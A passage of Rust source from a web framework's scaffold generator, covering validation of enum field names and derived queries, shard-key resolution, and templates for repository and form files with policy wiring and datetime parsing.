/// template. An enum field whose generated type name (`pascal(field)`)
/// matches one of these produces a second, conflicting `use` of the same
/// name (`use crate::models::…::{…, Path}` alongside
/// `use autumn_web::extract::Path;`), which fails with E0252 before the
/// scaffold can compile — confirmed by generating `path:enum{a,b}`.
///
/// Lowercase framework imports (`get`, `html`, `post`, `secured`,
/// `pagination_nav`) can never collide: `pascal()` always capitalizes the
/// first letter, so a `snake_case` field name can't produce a lowercase type
/// name.
const ROUTES_FILE_RESERVED_NAMES: &[&str] = &[
"Path",
"Page",
"PageRequest",
"Bytes",
"CsrfFormField",
"CsrfToken",
"SubmitFormField",
"SubmitToken",
"PagerOptions",
"Flash",
"ShardedDb",
"Db",
"AutumnError",
"AutumnResult",
"Markup",
"RunQueryDsl",
"ToString",
"Changeset",
"IntoChangeset",
];
/// Reject an `enum{…}` field whose generated type name collides with one of
/// [`ROUTES_FILE_RESERVED_NAMES`], or with the scaffold's own generated
/// `{pascal_name}Form` changeset struct (`render_model_form`). Only relevant
/// when `generate scaffold` will actually emit `src/routes/<plural>.rs`
/// (i.e. not `--api`, which skips that file entirely).
fn validate_enum_field_names_against_routes_imports(
fields: &[Field],
pascal_name: &str,
) -> Result<(), GenerateError> {
let form_ty = format!("{pascal_name}Form");
for f in fields {
let Some(enum_ty) = f.enum_type_name() else {
continue;
};
if ROUTES_FILE_RESERVED_NAMES.contains(&enum_ty.as_str()) {
return Err(GenerateError::InvalidField {
token: format!("{}:enum{{...}}", f.name),
reason: format!(
"the generated enum type '{enum_ty}' collides with a name the scaffold's \
routes file always imports; rename the field"
),
});
}
if enum_ty == form_ty {
return Err(GenerateError::InvalidField {
token: format!("{}:enum{{...}}", f.name),
reason: format!(
"the generated enum type '{enum_ty}' collides with the scaffold's own \
generated '{form_ty}' changeset form struct; rename the field"
),
});
}
}
Ok(())
}
/// `for_revert` skips the generation-only refusals: `autumn destroy scaffold`
/// recomputes the plan it is about to revert, and refusing there would strand
/// the very files the user asked to delete (same posture as the `slug`/
/// `lock_version` gates in `plan_scaffold_with_options_impl`).
fn parse_query_specs(
fields: &[Field],
queries: &[String],
for_revert: bool,
// The lookup argument's Rust type must match the model field's, which
// differs for `Uuid`/`Decimal` on SQLite (issue #1924).
backend: DatabaseBackend,
) -> Result<Vec<QuerySpec>, GenerateError> {
let mut parsed = Vec::with_capacity(queries.len());
for query in queries {
let (method, field_name) =
query
.split_once(':')
.ok_or_else(|| GenerateError::InvalidField {
token: query.clone(),
reason: "expected `method:field`, for example `find_by_tag:tag`".into(),
})?;
let method = method.trim();
let field_name = field_name.trim();
if !method.starts_with("find_by_") || !is_valid_fn_name(method) {
return Err(GenerateError::InvalidField {
token: query.clone(),
reason: "query method must be a valid `find_by_<field>` function name".into(),
});
}
let method_field = method
.strip_prefix("find_by_")
.expect("prefix checked above");
let field =
field_by_name(fields, field_name).ok_or_else(|| GenerateError::InvalidField {
token: query.clone(),
reason: format!("unknown field '{field_name}'"),
})?;
if method_field != field_name {
return Err(GenerateError::InvalidField {
token: query.clone(),
reason: format!(
"query method suffix '{method_field}' must match field '{field_name}'"
),
});
}
if field.is_enum() {
// The repository file's `use crate::models::<snake>::{...}` import
// only brings in the model + New/Update companions — not a
// per-field generated enum type — so a derived-query parameter of
// that type wouldn't resolve. Reject rather than emit code that
// fails to compile.
return Err(GenerateError::InvalidField {
token: query.clone(),
reason: format!("`--query` on enum field '{field_name}' is not yet supported"),
});
}
// Issue #1340 AC6: a derived `find_by_<col>` against a RANDOMIZED
// encrypted column compiles fine and then fails at runtime — the
// repository macro routes the bound string through the encrypted-column
// registry, which raises `EncryptionError::RandomizedEqualityLookup`
// because a fresh nonce per write means the needle's ciphertext can
// never equal the stored one. Refuse it where the fix is one word away.
if !for_revert && field.is_randomized_encrypted() {
return Err(GenerateError::InvalidField {
token: query.clone(),
reason: randomized_equality_lookup_reason(
field_name,
"has a `--query` derived equality lookup",
),
});
}
if parsed.iter().any(|spec: &QuerySpec| spec.method == method) {
return Err(GenerateError::InvalidField {
token: query.clone(),
reason: format!("duplicate query method '{method}'"),
});
}
parsed.push(QuerySpec {
method: method.to_owned(),
field_name: field_name.to_owned(),
rust_type: field.rust_type_for(backend),
});
}
// Every `unique` field (issue #1032) gets a `find_by_<field>` repository
// lookup for free — no `--query` needed — mirroring how a `references`
// field auto-contributes to the migration's index set without an
// explicit `--index`. Skipped for a field already covered by an
// explicit `--query`, and for `enum` fields (same import-path
// limitation `--query` itself rejects above).
for field in fields {
if field.unique
&& !field.is_enum()
&& !parsed.iter().any(|spec| spec.field_name == field.name)
{
parsed.push(QuerySpec {
method: format!("find_by_{}", field.name),
field_name: field.name.clone(),
rust_type: field.rust_type_for(backend),
});
}
}
Ok(parsed)
}
fn is_valid_fn_name(name: &str) -> bool {
let mut chars = name.chars();
let Some(first) = chars.next() else {
return false;
};
(first.is_ascii_lowercase() || first == '_')
&& chars.all(|ch| ch.is_ascii_lowercase() || ch.is_ascii_digit() || ch == '_')
}
/// Resolve the sharding key field from options and field list.
///
/// Returns `None` when sharding is not enabled. When sharding is enabled,
/// returns the explicitly requested key (validated against model fields and
/// `id`), or falls back to `tenant_id` if present, then `id`.
fn resolve_shard_key(
fields: &[Field],
options: &ModelOptions,
) -> Result<Option<String>, GenerateError> {
if !options.sharded {
return Ok(None);
}
if let Some(ref key) = options.shard_key {
let valid = key == "id" || field_by_name(fields, key).is_some();
if !valid {
return Err(GenerateError::InvalidField {
token: key.clone(),
reason: format!(
"shard_key field `{key}` does not exist on this model; \
pass an existing field name or `id`"
),
});
}
return Ok(Some(key.clone()));
}
if field_by_name(fields, "tenant_id").is_some() {
return Ok(Some("tenant_id".to_owned()));
}
Ok(Some("id".to_owned()))
}
/// Render a plain `#[repository(Model)]` trait for `autumn db pull --with-repository`.
///
/// No derived queries, soft-delete, or sharding — introspection cannot recover
/// those from the database. The introspected `table` name is passed through
/// explicitly — both as the schema import and as `table = "..."` in the macro —
/// because the repository macro otherwise infers the table from the model name
/// (`Status` -> `statuss`), which is wrong for irregular plurals.
pub(super) fn render_repository_for_pull(
pascal_name: &str,
snake_name: &str,
table: &str,
) -> String {
format!(
"//! Generated by `autumn db pull`.\n\
//!\n\
//! `#[repository]` auto-generates CRUD methods and JSON REST handlers.\n\
//! Mount mutating API handlers only after adding a repository policy.\n\
\n\
use crate::models::{snake_name}::{{{pascal_name}, New{pascal_name}, Update{pascal_name}}};\n\
use crate::schema::{table};\n\
\n\
#[autumn_web::repository({pascal_name}, table = \"{table}\", api = \"/api/{table}\")]\n\
pub trait {pascal_name}Repository {{\n\
}}\n"
)
}
/// Warden 2026-09-13: `owner = <col>` on its own does not gate the
/// auto-generated `api = "..."` CRUD routes at all — only `policy = Type`
/// does (`GET`/`PUT`/`DELETE <api>/{id}` have no `scope`/`owner`-driven
/// check; only `has_policy` gates them). `#[repository]` now refuses this
/// exact combination at compile time (`autumn-macros/src/repository.rs`).
///
/// The scaffold's call site only ever passes `owner_column: Some(..)` when
/// `authorize_wiring` held, which itself requires `policy_on` — i.e. a
/// `{pascal_name}Policy` is already being generated and registered on the
/// app in every case that reaches here. So wiring it in is not new
/// authorization, only completing what the doc comment already told the
/// developer to do by hand ("reference it from `#[repository(..., policy =
/// Policy)]` to guard the JSON mutating API too") — for the one path
/// (owner-scoped, non-sharded, non-live) where the scaffold can do it
/// automatically because the policy's shape (owner-comparing
/// `can_show`/`can_update`/`can_delete`) is already known.
///
/// `policy = ...` parses as a bare `Ident`, not a path (see
/// `parse_repo_args`), so the returned attribute names the type unqualified
/// and the returned `use` import brings it into scope.
///
/// Returns `(owner_attr, policy_attr, policy_use)`, each empty when
/// `owner_column` is `None`.
fn owner_policy_wiring(
owner_column: Option<&str>,
pascal_name: &str,
snake_name: &str,
) -> (String, String, String) {
owner_column.map_or_else(
|| (String::new(), String::new(), String::new()),
|col| {
(
format!(", owner = {col}"),
format!(", policy = {pascal_name}Policy"),
format!("use crate::policies::{snake_name}::{pascal_name}Policy;\n"),
)
},
)
}
#[allow(
clippy::fn_params_excessive_bools,
clippy::too_many_arguments,
clippy::too_many_lines
)] // one straight-line template builder, like its siblings elsewhere in this file
fn render_repository_file(
pascal_name: &str,
snake_name: &str,
queries: &[QuerySpec],
soft_delete: bool,
api: bool,
sharded: bool,
live: bool,
searchable: bool,
owner_column: Option<&str>,
position: Option<&Field>,
) -> String {
let plural = pluralize(snake_name);
let query_body = render_repository_queries(pascal_name, queries);
let soft_delete_attr = if soft_delete { ", soft_delete" } else { "" };
let broadcasts_attr = if live { ", broadcasts = true" } else { "" };
// When `broadcasts = true` is set, `#[repository]` synthesizes internal
// hooks whose generated `update` body expands an unqualified
// `{Pascal}DraftExt::from_patch(...)`. Import that trait alongside the other
// model types so the generated repository compiles (issue #1853).
//
// Warden 2026-09-13: the macro's `_api_update` handler does the same thing
// whenever `policy = Type` is present (`has_policy`, issue #1801's
// merged-model validation) — and `api = "/api/{plural}"` is unconditional
// in this function's template (the `api` bool param below only toggles
// the doc comment/fragment content, never whether the attribute carries
// `api = ...`), so `has_policy` is live whenever `owner_column.is_some()`
// (`owner_policy_wiring` above always wires a `policy = Type` alongside
// `owner = <col>`) — on EVERY owner-scoped scaffold, `--api` or not. So
// the import is needed whenever EITHER drives `has_policy`: `live`
// (broadcasts) or `owner_column.is_some()` (policy). Caught by CI's
// `owner-searchable`/`nullable-owner-searchable`/`attachment-owner`/
// `policy-scaffold` generator-conformance jobs (E0405: `PostDraftExt` not
// found) after an earlier cut of this fix wrongly gated on `api` too.
let draft_ext_import = if live || owner_column.is_some() {
format!(", {pascal_name}DraftExt")
} else {
String::new()
};
// Issue #1319: `searchable` opts the repository into the FTS `search()` /
// `search_page(query, &PageRequest)` methods (backed by the model's
// `#[searchable]` fields + the migration's `search_vector` column).
let searchable_attr = if searchable { ", searchable" } else { "" };
// Issue #1841 + Warden 2026-09-13 (see `owner_policy_wiring`'s doc comment):
// `owner = <col>` + `policy = <Type>` make `#[repository]` emit owner-filtered
// `list_scoped`/`search_page_scoped` and gate the auto-API. Only the caller's
// in-scope standard Db path passes `Some`; every other scaffold passes `None`.
let (owner_attr, policy_attr, policy_use) =
owner_policy_wiring(owner_column, pascal_name, snake_name);
// Issue #1358: a `position`/`position{{scope:col}}` DSL field wires
// `position(column = "...", scope = "...")` into the generated
// `#[repository(...)]` attribute, which is what actually generates the
// `move_to`/`move_before`/`move_after`/`move_up`/`move_down` methods —
// the DSL field alone only shapes the model struct and migration.
let position_attr = position.map_or(String::new(), |f| {
f.constraints.scope.as_deref().map_or_else(
|| format!(", position(column = \"{}\")", f.name),
|scope| format!(", position(column = \"{}\", scope = \"{scope}\")", f.name),
)
});
let sharded_note = if sharded {
format!(
"//!\n\
//! This is a shard-aware repository. Handlers construct it via\n\
//! `Pg{pascal_name}Repository::from_shard(&db)` where `db` is a `ShardedDb` extractor;\n\
//! the extractor routes the request to the correct shard automatically.\n"
)
} else {
String::new()
};
let api_sharded_note = if sharded && api {
"//!\n\
//! Note: auto-generated REST handlers (mounted via `api = ...`) route through\n\
//! the control pool, not individual shards. Shard-aware REST is planned for a\n\
//! future release. Use the HTML handlers or build custom shard-aware endpoints\n\
//! with `ShardedDb` in the meantime.\n"
} else {
""
};
let doc_comment = if api {
format!(
"//! Generated by `autumn generate scaffold --api`.\n\
//!\n\
//! `#[repository]` auto-generates CRUD methods and JSON REST handlers.\n\
//! When using `--api`, all 5 JSON CRUD endpoints are mounted in `src/main.rs`.\n\
//! Note: To start the application in a production profile, you must either\n\
//! add a policy (e.g. `policy = SomePolicy`) to this repository or explicitly\n\
//! allow unguarded writes by setting `allow_unauthorized_repository_api = true`\n\
//! under `[security]` in `autumn.toml`.\n\
{api_sharded_note}\
{sharded_note}"
)
} else {
format!(
"//! Generated by `autumn generate scaffold`.\n\
//!\n\
//! `#[repository]` auto-generates CRUD methods and JSON REST handlers.\n\
//! The scaffold registers only read handlers in `src/main.rs` by\n\
//! default. A record-level `{pascal_name}Policy`/`{pascal_name}Scope` is\n\
//! generated in `src/policies/{snake_name}.rs` and registered on the app\n\
//! (unless `--no-policy`); reference it from `#[repository(..., policy =\n\
//! {pascal_name}Policy)]` to guard the JSON mutating API too.\n\
{sharded_note}"
)
};
// For API scaffolds with --live, emit the stream route directly in the
// repository file since there is no separate routes file.
let api_stream_handler = if api && live {
format!(
"\n/// `GET /{plural}/stream` — SSE stream for live OOB fragments.\n\
///\n\
/// Clients subscribe here to receive `hx-swap-oob` fragments whenever a\n\
/// `{snake_name}` is saved, updated, or deleted via the API.\n\
#[autumn_web::get(\"/{plural}/stream\")]\n\
pub async fn stream(\n\
\x20\x20\x20\x20state: autumn_web::extract::State<autumn_web::AppState>,\n\
) -> impl autumn_web::reexports::axum::response::IntoResponse {{\n\
\x20\x20\x20\x20autumn_web::sse::stream(&state, \"{plural}\")\n\
}}\n"
)
} else {
String::new()
};
let list_id = format!("{plural}-list");
// API scaffolds have no HTML show route — emit plain text; HTML scaffolds link to show page.
let fragment_item_content = if api {
"(self.id)".to_string()
} else {
// Link through the routes module's typed path helper so the show URL
// has a single source of truth (issue #1133). This fragment lives in the
// repository module, so it reaches `paths::show` via the fully-qualified
// `crate::routes::{plural}::paths` path.
format!("a href=(crate::routes::{plural}::paths::show(self.id)) {{ (self.id) }}")
};
let live_fragment_impl = if live {
format!(
"\nimpl autumn_web::live::LiveFragment for {pascal_name} {{\n\
\x20\x20\x20\x20fn dom_id_for(id: i64) -> String {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20format!(\"{snake_name}-{{id}}\")\n\
\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20fn dom_id(&self) -> String {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20Self::dom_id_for(self.id)\n\
\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20fn render_fragment(&self) -> maud::Markup {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20maud::html! {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20li id=(self.dom_id()) {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20{fragment_item_content}\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20fn insert_swap() -> autumn_web::htmx::OobSwap {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20autumn_web::htmx::OobSwap::Target(\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autumn_web::htmx::OobMethod::BeforeEnd,\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\"#{list_id}\".to_string(),\n\
\x20\x20\x20\x20\x20\x20\x20\x20)\n\
\x20\x20\x20\x20}}\n\
}}\n"
)
} else {
String::new()
};
format!(
"{doc_comment}\n\
use crate::models::{snake_name}::{{{pascal_name}, New{pascal_name}, Update{pascal_name}{draft_ext_import}}};\n\
use crate::schema::{plural};\n\
{policy_use}\
\n\
#[autumn_web::repository({pascal_name}, api = \"/api/{plural}\"{soft_delete_attr}{broadcasts_attr}{searchable_attr}{owner_attr}{policy_attr}{position_attr})]\n\
pub trait {pascal_name}Repository {{\n\
{query_body}\
}}\n\
{live_fragment_impl}\
{api_stream_handler}"
)
}
fn render_repository_queries(pascal_name: &str, queries: &[QuerySpec]) -> String {
let mut out = String::with_capacity(queries.len() * 64);
for query in queries {
use std::fmt::Write as _;
let _ = writeln!(
out,
" fn {method}({field}: {rust_type}) -> Vec<{pascal_name}>;",
method = query.method,
field = query.field_name,
rust_type = query.rust_type,
);
}
out
}
/// The `parse_local_datetime` helper the generated `into_new` uses to turn a
/// browser `datetime-local` string (`YYYY-MM-DDTHH:MM`, seconds optional) back
/// into a `chrono::NaiveDateTime`. Emitted only when the model has a
/// `NaiveDateTime`/`DateTime` field.
const PARSE_LOCAL_DATETIME_FN: &str = r#"
/// Parse a browser `datetime-local` value (`YYYY-MM-DDTHH:MM`, seconds and
/// fractional seconds optional) into a `NaiveDateTime`. A malformed value is
/// a 400 (undecodable input) rather than a field validation error.
///
/// Accepts a trailing `%.f` so a value pre-filled from a stored row (see the
/// generated `From<&Row>` impl, which formats with fractional seconds) round-
/// trips exactly on a no-op resubmit instead of being silently truncated to
/// whole seconds — the generated `update` handler writes every column back
/// unconditionally, so any precision lost here would corrupt the stored value.
fn parse_local_datetime(value: &str) -> AutumnResult<chrono::NaiveDateTime> {
chrono::NaiveDateTime::parse_from_str(value, "%Y-%m-%dT%H:%M:%S%.f")
.or_else(|_| chrono::NaiveDateTime::parse_from_str(value, "%Y-%m-%dT%H:%M"))__IMPORT_DATETIME_FORMAT__
.map_err(|err| AutumnError::bad_request_msg(format!("invalid datetime: {err}")))
}
"#;
/// The extra datetime format a `--import` scaffold accepts (issue #1393).
///
/// The CSV export writes a timestamp with chrono's `Display`, which separates
/// date and time with a SPACE; the browser's `datetime-local` control sends a
/// `T`. Without this arm a file this app exported would fail to re-import on
/// exactly the column it had just written — the round trip the import promises.
/// Spliced into `PARSE_LOCAL_DATETIME_FN` only under `--import`, so a scaffold
/// without the flag emits the pre-#1393 helper byte-for-byte.
const IMPORT_DATETIME_FORMAT_ARM: &str = r#"
// The CSV export's format (chrono's `Display`: a space, not a `T`), so
// an exported file re-imports on this column. Harmless for the browser
// path, which never sends this shape.
.or_else(|_| chrono::NaiveDateTime::parse_from_str(value, "%Y-%m-%d %H:%M:%S%.f"))
.or_else(|_| chrono::NaiveDateTime::parse_from_str(value, "%Y-%m-%d %H:%M:%S"))
// A TZ-AWARE column's `Display` appends the zone name
// (`2026-08-26 12:00:00 UTC`). The zone is redundant on the way back in
// — the caller re-attaches UTC — but without this arm every row of an
// exported file fails on that column.
.or_else(|_| chrono::NaiveDateTime::parse_from_str(value, "%Y-%m-%d %H:%M:%S%.f %Z"))"#;
/// The generated pieces backing the changeset round-trip (issue #1124): the
/// public, validating `{Pascal}Form` struct, its fallible conversion into
/// `New{Pascal}` (the success branch), the `From<&{Pascal}>` used to seed the
/// edit-form changeset, and — when a datetime field is present — the shared
/// `parse_local_datetime` helper.
struct ModelFormParts {
/// `#[derive(...)] pub struct {Pascal}Form { ... }`
form_struct: String,
/// The complete `into_new` function (async + `&state` when attachments).
into_new_fn: String,
/// `impl From<&{Pascal}> for {Pascal}Form { ... }`
from_row_impl: String,
/// `parse_local_datetime` (empty unless a datetime field exists).
datetime_helper: String,
}
/// Emit the validating form struct, its `New{Pascal}` conversion, and the
/// `From<&{Pascal}>` seed used by the edit form — the substrate for the
/// changeset round-trip (issue #1124).
///
/// The form struct deliberately mirrors the browser's wire shape (strings for
/// enums and datetimes, `#[serde(default)]` bools, `Option<String>` attachment
/// keys, native numerics) so a submission always *decodes* losslessly; the
/// declared `#[validate(...)]` rules then decide validity, and the fallible
/// `into_new` performs the enum/datetime/attachment parsing on the success
/// path (those remain 400s — undecodable input, not validation failures).
#[allow(
clippy::too_many_lines,
reason = "One match arm per field-kind widget — splitting it produces less \
readable output, not more. See render_changeset_form_inputs's \
module-level comment for the shared invariants."
)]
fn render_model_form(
pascal_name: &str,
fields: &[Field],
validations: &BTreeMap<String, Vec<String>>,
// The parent foreign-key column under `--belongs-to` (issue #1323).
parent_fk: Option<&str>,
// Issue #1393: whether the CSV import surface is emitted. The only thing it
// changes here is that `parse_local_datetime` also accepts the format the
// CSV export writes, so an exported file re-imports on its datetime columns.
import: bool,
// The form field types must match the model's, which differ for
// `Uuid`/`Decimal` on SQLite (issue #1924).
backend: DatabaseBackend,
) -> ModelFormParts {
use std::fmt::Write;
let mut struct_fields = String::new();
let mut into_new = String::new();
let mut from_row = String::new();
let mut needs_datetime = false;
for f in fields {
let name = &f.name;
// A required numeric carrying a `{min,max}` range (issue #1388) is
// represented as `Option<T>` on the form struct (issue #1748): a native
// `T` defaults to `0`, which pre-fills the input and passes both
// `required` (HTML) and `range` when the range spans the zero default,
// silently accepting a value the user never typed. `Option<T>` defaults
// to `None` (renders blank), and the `required` rule below rejects it.
let is_constrained_required_numeric = is_constrained_required_numeric(f);
if is_constrained_required_numeric {
// Emitted alongside the `range` rule so `None` is rejected
// server-side (a 422 with an inline error) rather than parsed as `0`.
let _ = writeln!(struct_fields, " #[validate(required)]");
}
if let Some(rules) = validations.get(name) {
for rule in rules {
let _ = writeln!(struct_fields, " #[validate({rule})]");
}
}
// Issue #1323: under `--belongs-to` the nested inline create form
// renders no control for the parent foreign key (the parent is the URL),
// so a nested submission carries no value for it. `#[serde(default)]`
// turns that absence into an empty string the nested handler
// immediately overwrites from the path, instead of a "missing field"
// 400. The flat form still submits a real value through its select.
if parent_fk == Some(name.as_str()) {
let _ = writeln!(struct_fields, " #[serde(default)]");
}
if f.kind.is_attachment() {
// Zero-JS multipart uploads (issue #1236): the attachment is NOT a
// urlencodable form field, so it is excluded from `{Pascal}Form`
// entirely. `into_new` seeds the `New{Pascal}` blob column to `None`;
// the create/update handler streams the multipart file part to the
// blob store and binds the resulting `Blob` onto `new` afterwards
// (preserving the existing blob on an update with no new file). No
// struct field and no `from_row` seed: a file input can't be
// repopulated (browser security), and the stored attachment is
// rendered on the show view straight from the row.
let _ = writeln!(into_new, " {name}: None,");
} else if f.kind == FieldKind::Bool {
// Unchecked checkboxes are absent from submitted form data;
// `#[serde(default)]` maps that absence to `false` instead of a
// "missing field" 400.
if f.nullable {
let _ = writeln!(struct_fields, " pub {name}: Option<bool>,");
} else {
let _ = writeln!(
struct_fields,
" #[serde(default)]\n pub {name}: bool,"
);
}
let _ = writeln!(into_new, " {name}: form.{name},");
let _ = writeln!(from_row, " {name}: row.{name},");
} else if f.kind == FieldKind::Bytea {
// `Vec<u8>` cannot deserialize from a single url-encoded value at
// all: `serde_urlencoded` hands each field's value to `serde` as a
// plain string, and `Vec<u8>`'s `Deserialize` impl expects a sequence.
// There is no raw-bytes HTML input widget either, so the form carries
// a `String` in `\x` + hex (issue #2330). UTF-8 is lossy for binary
// data: an edit-and-save would rewrite every non-UTF-8 byte. Hex is
// the same text the CSV export and import use.
let bad_hex = format!(
".map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?"
);
if f.nullable {
let _ = writeln!(struct_fields, " pub {name}: Option<String>,");
let _ = writeln!(
into_new,
" {name}: form.{name}.as_deref().filter(|value| !value.trim().is_empty()).map(bytea_from_hex).transpose(){bad_hex},"
);
let _ = writeln!(
from_row,
" {name}: row.{name}.as_deref().map(bytea_to_hex),"
);
} else {
let _ = writeln!(struct_fields, " pub {name}: String,");
let _ = writeln!(
into_new,
" {name}: bytea_from_hex(&form.{name}){bad_hex},"
);
let _ = writeln!(from_row, " {name}: bytea_to_hex(&row.{name}),");
}
} else if matches!(f.kind, FieldKind::NaiveDateTime | FieldKind::DateTime) {
// Represented as a `String` on the form (the browser's wire shape),
// so it always decodes and serializes cleanly for repopulation; the
// conversion parses it back to the model's datetime type.
needs_datetime = true;
let to_utc = if f.kind == FieldKind::DateTime {
".and_utc()"
} else {
""
};
if f.nullable {
let _ = writeln!(struct_fields, " pub {name}: Option<String>,");
let _ = writeln!(
into_new,
" {name}: form.{name}.as_deref().filter(|value| !value.is_empty())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map(|value| parse_local_datetime(value).map(|dt| dt{to_utc}))\n\
\x20\x20\x20\x20\x20\x20\x20\x20.transpose()?,"
);
let _ = writeln!(
from_row,
" {name}: row.{name}.as_ref().map(|dt| dt.format(\"%Y-%m-%dT%H:%M:%S%.f\").to_string()),"
);
} else {
let _ = writeln!(struct_fields, " pub {name}: String,");
let _ = writeln!(
into_new,
" {name}: parse_local_datetime(&form.{name})?{to_utc},"
);
let _ = writeln!(
from_row,
" {name}: row.{name}.format(\"%Y-%m-%dT%H:%M:%S%.f\").to_string(),"
);
}
} else if let Some(enum_ty) = f.enum_type_name() {
// Decoded as a plain `String` then parsed via the enum's `FromStr`
// in `into_new` (an out-of-set value yields a 400 naming the field).
let mut arms = String::new();
for v in &f.variants {
let _ = write!(arms, "{enum_ty}::{} => \"{v}\".to_string(), ", pascal(v));
}
if f.nullable {
let _ = writeln!(struct_fields, " pub {name}: Option<String>,");
let _ = writeln!(
into_new,
" {name}: form.{name}.as_deref()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map(|value| value.parse::<{enum_ty}>())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.transpose()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?,"
);
let _ = writeln!(
from_row,
" {name}: row.{name}.as_ref().map(|value| match value {{ {arms}}}),"
);
} else {
let _ = writeln!(struct_fields, " pub {name}: String,");
let _ = writeln!(
into_new,
" {name}: form.{name}.parse::<{enum_ty}>()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?,"
);
let _ = writeln!(
from_row,
" {name}: match &row.{name} {{ {arms}}},"
);
}
} else if f.kind == FieldKind::Json {
// #1341 AC5: represented as a `String` on the form — the
// `<textarea>`'s wire shape, see `render_form_for_helper`'s
// `FieldControl::Textarea` override — so it always decodes.
// `into_new` parses it into `serde_json::Value`, which implements
// `FromStr<Err = serde_json::Error>`, and a bad value yields a 400
// naming the field, the same `bad_request_msg` pattern as the enum and
// datetime arms above rather than a 500. A blank optional textarea
// means "no value" (`None`), not invalid JSON, mirroring the
// nullable-`DateTime` blank-is-absent filter below; a blank required
// field is correctly rejected, since empty input is not valid JSON.
if f.nullable {
let _ = writeln!(struct_fields, " pub {name}: Option<String>,");
let _ = writeln!(
into_new,
" {name}: form.{name}.as_deref().filter(|value| !value.trim().is_empty())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map(|value| value.parse::<serde_json::Value>())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.transpose()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?,"
);
let _ = writeln!(
from_row,
" {name}: row.{name}.as_ref().map(ToString::to_string),"
);
} else {
let _ = writeln!(struct_fields, " pub {name}: String,");
let _ = writeln!(
into_new,
" {name}: form.{name}.parse::<serde_json::Value>()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?,"
);
let _ = writeln!(from_row, " {name}: row.{name}.to_string(),");
}
} else if is_constrained_required_numeric {
// A required numeric with a `{min,max}` range (issue #1388) is
// `Option<T>` on the form struct (issue #1748). `validator`'s
// `range` rule applies to the inner value only when `Some`, so the
// range is still enforced server-side; `None` (the blank default)
// is rejected by the `#[validate(required)]` emitted above rather
// than parsed as `T::default()` (`0`). A native `T` here would
// pre-fill `0` and silently pass both `required` and a range that
// spans the zero default. `into_new` unwraps the validated
// `Some(_)`; `from_row` wraps a persisted native value in `Some`.
let rust_type = f.rust_type_for(backend);
let _ = writeln!(struct_fields, " pub {name}: Option<{rust_type}>,");
let _ = writeln!(
into_new,
" {name}: form.{name}.ok_or_else(|| autumn_web::AutumnError::bad_request_msg(\"{name}: is required\"))?,"
);
let _ = writeln!(from_row, " {name}: Some(row.{name}),");
} else if !f.nullable
&& matches!(
f.kind,
FieldKind::I32
| FieldKind::I64
| FieldKind::F32
| FieldKind::F64
| FieldKind::Uuid
| FieldKind::Decimal { .. }
| FieldKind::References
)
{
// Represented as a `String` on the form, exactly like a required enum
// or datetime field. `T::default()` for these kinds — `0`, the nil
// UUID — is a real, plausible-looking value, not "blank": with a
// native-typed field the new form's changeset would render it as the
// input's pre-filled value (#1124 review), silently accepting a value
// the user never typed instead of forcing deliberate input the way the
// old hand-rolled form did, which emitted no `value` at all when blank.
// A nullable field of the same kind needs none of this:
// `Option<T>::default()` is `None`, which serializes to `null` and
// renders blank via `field_value`.
let rust_type = f.rust_type_for(backend);
let _ = writeln!(struct_fields, " pub {name}: String,");
let _ = writeln!(
into_new,
" {name}: form.{name}.parse::<{rust_type}>()\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"{name}: {{err}}\")))?,"
);
let _ = writeln!(from_row, " {name}: row.{name}.to_string(),");
} else {
// Issue #1326: a `:states(…)` state-machine column is transition-only,
// so the EDIT form omits its input (see `render_form_for_helper`) and
// the update submit carries no value for it. `#[serde(default)]` maps
// that absence to an empty string instead of a "missing field" 400 —
// harmless because the update `.set((…))` tuple excludes the column
// (`render_update_columns`), and the create form still submits the
// real initial state.
if f.state_machine.is_some() {
let _ = writeln!(struct_fields, " #[serde(default)]");
}
// Plain scalars (String/Text, and any nullable numeric/Uuid/Decimal)
// keep their native type — `Option<T>::default()` is already blank.
let _ = writeln!(
struct_fields,
" pub {name}: {rust_type},",
rust_type = f.rust_type_for(backend)
);
let _ = writeln!(into_new, " {name}: form.{name}.clone(),");
let _ = writeln!(from_row, " {name}: row.{name}.clone(),");
}
}
let form_struct = format!(
"#[derive(serde::Deserialize, serde::Serialize, Default, validator::Validate)]\n\
pub struct {pascal_name}Form {{\n\
{struct_fields}}}"
);
// `into_new` is always sync now (issue #1236): attachment blobs are streamed
// and bound in the handler, not resolved here, so no `&state`/`async` is
// needed. Attachment columns are seeded to `None` and overwritten by the
// handler after `into_new`.
let into_new_fn = format!(
"/// Convert the validated form into `New{pascal_name}` on the success\n\
/// path. Enum/datetime parsing lives here (a bad value is a 400,\n\
/// not a validation error — see `{pascal_name}Form`). Attachment\n\
/// columns are seeded to `None` and set from the streamed upload by\n\
